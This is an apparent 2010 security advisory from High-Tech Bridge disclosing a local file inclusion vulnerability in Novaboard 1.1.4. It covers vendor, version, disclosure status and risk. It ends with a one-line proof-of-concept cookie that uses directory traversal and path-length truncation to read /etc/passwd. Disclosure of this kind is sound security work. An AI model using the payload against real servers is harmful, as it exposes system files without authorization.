Vulnerability ID: HTB22657 Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html Product: Novaboard Vendor: Novaboard ( http://www.novaboard.net/ ) Vulnerable Version: 1.1.4 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: Local File Inclusion Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie. The following PoC is available: Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.
